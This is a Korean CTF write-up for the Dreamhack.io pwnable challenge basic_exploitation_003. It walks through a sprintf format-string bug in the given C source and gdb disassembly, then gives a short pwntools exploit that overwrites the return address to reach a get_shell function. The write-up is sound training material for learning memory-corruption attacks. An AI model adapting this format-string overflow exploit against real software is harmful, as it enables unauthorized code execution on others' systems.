CTF/Dreamhack.io

[pwnable] basic_exploitation_003

현생준비중 2022. 1. 19. 13:46

바로 소스코드를 보자!

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

뭐가 많이 늘었다. heap_buf에 동적할당을 하고, stack_buf에 heap_buf를 집어넣는다.

read()도 heap의 크기(0x80)만큼 읽어오고, stack_buf가 더 커서 Buffer Overflow가 발생하지 않을거 같은데..

printf에서도 올바르게 서식 지정자가 설정되어있어 위험해보이지는 않는다.

그렇지만! sprintf에서 Format String Bug가 일어난다면??

 

오, 뭔가 에러가 발생했다. 역시 Buffer Overflow는 무작정 때려봐야지!

sprintf를 이용해서 무언가를 해야한다는 건 알아냈다.

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804867c <+0>:     push   ebp
   0x0804867d <+1>:     mov    ebp,esp
   0x0804867f <+3>:     push   edi
   0x08048680 <+4>:     sub    esp,0x94
   0x08048686 <+10>:    push   0x80
   0x0804868b <+15>:    call   0x8048490 <malloc@plt>
   0x08048690 <+20>:    add    esp,0x4
   0x08048693 <+23>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048696 <+26>:    lea    edx,[ebp-0x98]
   0x0804869c <+32>:    mov    eax,0x0
   0x080486a1 <+37>:    mov    ecx,0x24
   0x080486a6 <+42>:    mov    edi,edx
   0x080486a8 <+44>:    rep stos DWORD PTR es:[edi],eax
   0x080486aa <+46>:    call   0x8048622 <initialize>
   0x080486af <+51>:    push   0x80
   0x080486b4 <+56>:    push   DWORD PTR [ebp-0x8]
   0x080486b7 <+59>:    push   0x0
   0x080486b9 <+61>:    call   0x8048450 <read@plt>
   0x080486be <+66>:    add    esp,0xc
   0x080486c1 <+69>:    push   DWORD PTR [ebp-0x8]
   0x080486c4 <+72>:    lea    eax,[ebp-0x98]
   0x080486ca <+78>:    push   eax
   0x080486cb <+79>:    call   0x80484f0 <sprintf@plt>
   0x080486d0 <+84>:    add    esp,0x8
   0x080486d3 <+87>:    lea    eax,[ebp-0x98]
   0x080486d9 <+93>:    push   eax
   0x080486da <+94>:    push   0x8048791
   0x080486df <+99>:    call   0x8048460 <printf@plt>
   0x080486e4 <+104>:   add    esp,0x8
   0x080486e7 <+107>:   mov    eax,0x0
   0x080486ec <+112>:   mov    edi,DWORD PTR [ebp-0x4]
   0x080486ef <+115>:   leave  
   0x080486f0 <+116>:   ret    
End of assembler dump.

자세히 한번 뜯어보자

stack_buf의 크기가 0x98인건 알아냈다. Dummy가 0x8로 보인다.

 

 

전 문제에서 했던 것 처럼 문제를 풀어보자.

일단, sprintf에서 FSB가 발생하니 그 다음 실행되는 함수 printf의 GOT 주소를 덮어쓰면 쉘을 획득할 수 있을 것이다.

>>> exe.symbols['get_shell']
134514281
>>> hex(exe.symbols['get_shell'])
'0x8048669'
>>> exe.symbols['got.printf']
134520848
>>> hex(exe.symbols['got.printf'])
'0x804a010'

 

음.. 뭔가 되는 건가 싶기도 한데.. 이상하다.

뭔가 잘못됐다. RET 주소가 조작되는 것처럼 보였는데 이건 그냥 에러인데..

다시 처음부터 해보자!

 

read()가 실행되고 마지막으로 넣는 \x0a가 보이는 걸로 봐서는 잘 되는거 같긴 한데..

STACK(144바이트) + DUMMY(8바이트) + SFP(4바이트) + RET(4바이트) 정도로 생각하면..

그냥 저기다가 주소를 넣으면 될 거 같다는 생각이 든다.

아.. 잘되네.

애초에 생각을 잘못했었던 것 같다.

heap_buf에 입력된 서식 지정자가 출력되면서 stack_buf를 채우게 되고, 0x98을 넘어서서 RET 주소를 덮어써서 get_shell을 실행 시키는 것으로 보인다.

pwntools를 안쓰고 바로 해봤다. 잘 되네..

from pwn import *

host = "host1.dreamhack.games"
port = 10950

get_shell = 134514281

p = remote(host, port)

payload = b"%156c" + p32(get_shell)

p.sendline(payload)
p.interactive()

그래도 연습겸 써보면 위와 같이 짤 수 있다.

Clear